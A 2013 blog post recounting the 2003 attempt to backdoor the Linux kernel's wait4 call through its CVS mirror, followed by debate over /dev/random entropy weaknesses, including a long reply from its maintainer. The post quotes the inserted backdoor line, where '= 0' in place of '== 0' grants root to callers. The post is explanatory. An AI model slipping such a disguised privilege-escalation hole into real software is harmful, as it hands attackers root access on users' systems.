EditorsAbout the SiteComes vs. MicrosoftUsing This Web SiteSite ArchivesCredibility IndexOOXMLOpenDocumentPatentsNovellNews DigestSite NewsRSS

10.16.13

Linux Backdoors Revisited (New Revelations and Old Revelations)

Posted in GNU/Linux, Kernel, Security at 10:43 am by Dr. Roy Schestowitz

Claude Elwood Shannon, the man who introduced entropy

Claude Elwood Shannon

Summary: An anonymous backdooring attempt against Linux goes a decade back, but a randomisation problem in today’s Linux also seems possible (subverting encryption)

Jonathan Allen wrote this article about an incident mentioned also by Freedom to Tinker. Slashdot’s summary goes like this, documenting news from one decade ago:

“Ed Felton writes about an incident, in 2003, in which someone tried to backdoor the Linux kernel. Back in 2003 Linux used BitKeeper to store the master copy of the Linux source code. If a developer wanted to propose a modification to the Linux code, they would submit their proposed change, and it would go through an organized approval process to decide whether the change would be accepted into the master code. But some people didn’t like BitKeeper, so a second copy of the source code was kept in CVS. On November 5, 2003, Larry McAvoy noticed that there was a code change in the CVS copy that did not have a pointer to a record of approval. Investigation showed that the change had never been approved and, stranger yet, that this change did not appear in the primary BitKeeper repository at all. Further investigation determined that someone had apparently broken in electronically to the CVS server and inserted a small change to wait4: ‘if ((options == (__WCLONE|__WALL)) && (current->uid = 0)) …’ A casual reading makes it look like innocuous error-checking code, but a careful reader would notice that, near the end of the first line, it said ‘= 0′ rather than ‘== 0′ so the effect of this code is to give root privileges to any piece of software that called wait4 in a particular way that is supposed to be invalid. In other words it’s a classic backdoor. We don’t know who it was that made the attempt—and we probably never will. But the attempt didn’t work, because the Linux team was careful enough to notice that that this code was in the CVS repository without having gone through the normal approval process. ‘Could this have been an NSA attack? Maybe. But there were many others who had the skill and motivation to carry out this attack,’ writes Felton. ‘Unless somebody confesses, or a smoking-gun document turns up, we’ll never know.’”

Backdoors in Linux are a subject for jokes in Torvalds' mind, but given the above we should take this subject very seriously. In any system, for example, having no mechanism for randomness (like in some embedded devices) typically means that strong encryption (with high entropy) is not possible. Given new alleged “insecurities in the Linux /dev/random,” as Bruce Schneier put it, Linux backdoors seem possible again. David Benfell said:

I’m guessing Schneier knows what the fuck he’s talking about. If it is the same vulnerability, then Torvalds’ defense is that the vulnerable source of entropy is only one of many. But if I read Schneier correctly, the result was still too predictable.

“On the other hand,” says Benfell, “here’s Theodore T’so from the comments:”

So I’m the maintainer for Linux’s /dev/random driver. I’ve only had a chance to look at the paper very quickly, and I will at it more closely when I have more time, but what the authors of this paper seem to be worried about is not even close to the top of my list in terms of things I’m worried about.

First of all, the paper is incorrect in some minor details; the most significant error is its (untrue) claim that we stop gathering entropy when the entropy estimate for a given entropy pool is “full”. Before July 2012, we went into a trickle mode where we only took in 1 in 096 values. Since then, the main way that we gather entropy, which is via add_interrupt_randomness(), has no such limit. This means that we will continue to collect entropy even if the input pool is apparently “full”.

This is critical, because *secondly* their hypothetical attacks presume certain input distributions which have an incorrect entropy estimate —| that is, either zero actual entropy but a high entropy estimate, or a high entropy, but a low entropy estimate. There has been no attempt by the paper’s authors to determine whether the entropy gathered by Linux meets either of their hypothetical models, and in fact in the “Linux Pseudorandom Number Generator Revisited”[1], the analysis showed that our entropy estimator was actually pretty good, given the real-life inputs that we are able to obtain from an actual running Linux system.

[1]http://eprint.iacr.org/2012/251.pdf

The main thing which I am much more worried about is that on various embedded systems, which do not have a fine-grained clock, and which is reading from flash which has a much more deterministic timing for their operations, is that when userspace tries to generate long-term public keys immediately after the machine is taken out of the box and plugged in, that there isn’t a sufficient amount of entropy, and since most userspace applications use /dev/urandom since they don’t want to block, that they end up with keys that aren’t very random. We had some really serious problems with this, which was written up in the “Mining Your Ps and Qs: Detection of Widespread Weak Keys in Network Devices” [2]paper, and the changes made in July 2012 were specifically designed to address these worries.

[2]https://www.factorable.net/paper.html

However, it may be that on certain systems, in particular ARM and MIPS based systems, where a long-term public key is generated very shortly after the first power-on, that there’s enough randomness that the techniques used in [2]would not find any problems, but that might be not enough randomness to prevent our friends in Fort Meade from being able to brute force guess the possible public-private key pairs.

Speaking more generally, I’m a bit dubious about academic analysis which are primarily worried about recovering from the exposure of the state of the random pool. In practice, if the bad guy can grab the state of random pool, they probably have enough privileged access that they can do many more entertaining things, such as grabbing the user’s passphrase or their long-term private key. Trying to preserve the amount of entropy in the pool, and making sure that we can extract as much uncertainty from the system as possible, are much higher priority things to worry about.

That’s not to say that I might not make changes to /dev/random in reaction to academic analysis; I’ve made changes in reaction to [2], and I have changes queued for the next major kernel release up to make some changes to address concerns raised in [1]. However, protection against artificially constructed attacks is not the only thing which I am worried about. Things like making sure we have adequate entropy collection on all platforms, especially embedded ones, and adding some conservatism just in case SHA isn’t a perfect random function are some of the other things which I am trying to balance as we make changes to /dev/random.

T’so, who is the former CTO of the Linux Foundation, at least acknowledges the possibility that there is a real issue here.

Share this post: These icons link to social bookmarking sites where readers can share and discover new web pages.
  • Digg
  • del.icio.us
  • Reddit
  • co.mments
  • DZone
  • email
  • Google Bookmarks
  • LinkedIn
  • NewsVine
  • Print
  • Technorati
  • TwitThis
  • Facebook

If you liked this post, consider subscribing to the RSS feed or join us now at the IRC channels.

Pages that cross-reference this one

What Else is New


  1. Patent Lawyers Move Closer to Battistelli's Rubber-stamping Office While the Appeal Boards Pushed Away as Collective Punishment Which Masks Decline in Patent Quality

    Urgently sending appeal boards away and urgently granting applicants patents without proper examination will be Battistelli's sorrow legacy at the European Patent Office



  2. Software Patents a Dying Breed, But Patent Lawyers in Denial Over it and Notorious Judge Rodney Gilstrap Ignores Alice (Supreme Court)

    A look at what law and practice are saying about software patents, contrasted or contradicted by the patent industry and trolls-friendly courts (which make business out of or together with patent aggressors)



  3. CAFC Meddling in PTAB Affairs; Unified Patents Fights a Good Fight by Invalidating Software Patents

    A look at how the AIA's Patent Trial and Appeal Board is invalidating software patents post-Alice, with or without involvement of patent courts



  4. Early Certainty That Benoît Battistelli is Dangerously Clueless and a Major Risk to the EPO

    The chaos which Team Battistelli is assured to deliver if it doesn't treat scientists like scientists, instead viewing them as a production line with rubber-stamping duties



  5. OIN Makes Claims About “Open Source Innovation”, But It Produces Nothing and Protects Virtually Nobody

    The Open Invention Network (OIN) reports growth, but in practical terms it does little or nothing to help developers of Free/Open Source software



  6. Links 27/7/2016: New CrossOver, Blackmagic for GNU/Linux

    Links for the day



  7. The Death of Software Patents and Microsoft's Coup Against Yahoo! Made the Company Worthless

    A look at what happens to companies whose value is a house of software patents rather than code and a broad base of users/customers



  8. Munich Attack Mentioned by EPO But Not Ansbach

    The EPO does the usual right-wing thing (exploiting disaster/emergency for domestic crackdowns), but some bemoan the omission of the explosion at Ansbach (also in Germany)



  9. Kluwer Thinks People Are Clueless About the Unitary Patent System and Pretends It's Business as Usual

    Flogging the dead UPC horse at times of great uncertainty (enough to bring the UPC to a standstill)



  10. Almost Everything That the Government Accountability Office Says is Applicable to the EPO

    The Government Accountability Office in the United States produces reports which can serve as a timely warning sign to the European Patent Office, where patent quality is rapidly declining in order to meet 'production' goals



  11. Microsoft Says It Loves Linux, But Its Anti-Linux Patent Trolls Are Still Around and Active

    Highlighting just two of the many entities that Microsoft (and partners) use in order to induce additional costs on Free (as in freedom) software



  12. Links 26/7/2016: Microsoft Growing Desperate, Linux 4.8 Visions

    Links for the day



  13. Links 25/7/2016: Linux 4.7 Final, PostgreSQL 9.6 Beta 3

    Links for the day



  14. Leaked: Boards of Appeal Face 'Exile' or 'Extradition' in Haar After Standing up to Battistelli

    A look at some of the latest moves at the European Patent Office (EPO), following Battistelli's successful coup d’état which brought the EPO into a perpetual state of emergency that perpetuates Battistelli's totalitarian powers



  15. The US Government Accountability Office (GAO) Comes Across as Against Software Patents, Relates to the EPO as Well

    Some analysis of the input from the Government Accountability Office (GAO) with focus on the EPO and software patents



  16. In the US, Patent Trolls Engage in Patent Wars and Shakedowns, Whereas in China/Korea Large Android OEMs Sue One Another

    Highlighting some of the differences between the US patent system and other patent systems



  17. Links 24/7/2016: Elive 2.7.1 Beta, New Flatpaks and Snaps

    Links for the day



  18. Links 23/7/2016: Leo Laporte on GNU/Linux, Dolphin Emulator’s Vulkan Completion

    Links for the day



  19. Links 22/7/2016: Wine 1.9.15, KaOS 2016.07 ISO

    Links for the day



  20. Haar Mentioned as Likely Site of Appeal Boards as Their Eradication or Marginalisation Envisioned by UPC Proponent Benoît Battistelli

    Not only the Staff Union of the European Patent Office (SUEPO) is under severe attack and possibly in mortal danger; the increasingly understaffed Boards of Appeal too are coming under attack and may (according to rumours) be sent to Haar, a good distance away from Munich and the airport (half an hour drive), not to mention lack of facilities for visitors from overseas



  21. EPO Attaché Albert Keyack Viewed as Somewhat of a Mole, Reporting From the US Embassy in Brazil Until Shortly Before the Temer Coup

    Public responses to the role played by Albert Keyack on behalf of the United States inside the European [sic] Patent Office



  22. EPO Insiders Explain Why the EPO's Examination Quality Rapidly Declines and Will Get Even Worse Because of Willy Minnoye

    Public comments from anonymous insiders serve to highlight a growing crisis inside the European Patent Office (EPO), where experienced/senior examiners are walking away and leaving an irreplaceable bunch of seats (due to high experience demands)



  23. Patents Roundup: BlackBerry, Huawei, PTAB, GAO, Aggressive Universities With Patents, and Software Patents in Europe

    Various bits and pieces of news regarding patents and their fast-changing nature in the United States nowadays



  24. Glimpse at Patent Systems Across the World: Better Quality Control at the USPTO Post-America Invents Act (2011), Unlike the EPO Post-Battistelli (2010)

    While the EPO reportedly strives to eliminate pendency and appeal windows altogether (rubberstamping being optimal performance as per the yardstick du jour), the USPTO introduces changes that would strengthen the system and shield innovation, not protect the business model of serial litigants



  25. Blockstream Has No Patents, But Pledges Not to Sue Using Patents

    Blockstream says that it comes in peace when it comes to software patents, which triggers speculations about coming Blockchain patent wars



  26. Links 21/7/2016: Ubuntu 16.04.1 LTS, Linux Mint 18 “Sarah” Xfce Beta

    Links for the day



  27. Links 21/7/2016: An Honorary Degree for Alan Cox, Looks Back at DebConf16

    Links for the day



  28. EPO USA: Under Battistelli, the 'European' Patent Office Emulates All the Mistakes of the USPTO

    Conservative Benoît Battistelli is trying to impose on the European Patent Office various truly misguided policies and he viciously attacks anyone or anything that stands in his way, including his formal overseers



  29. Links 19/7/2016: ARM and Opera Buyout

    Links for the day



  30. Large Corporations' Software Patenting Pursuits Carry on in Spite of Patent Trolls That Threaten Small Companies the Most

    With unconvincing excuses such as OIN, large corporations including IBM continue to promote software patents in the United States, even when public officials and USPTO officials work towards ending those


CoPilotCo

RSS 64x64RSS Feed: subscribe to the RSS feed for regular updates

Home iconSite Wiki: You can improve this site by helping the extension of the site's content

Home iconSite Home: Background about the site and some key features in the front page

Chat iconIRC Channel: Come and chat with us in real time

CoPilotCo

Recent Posts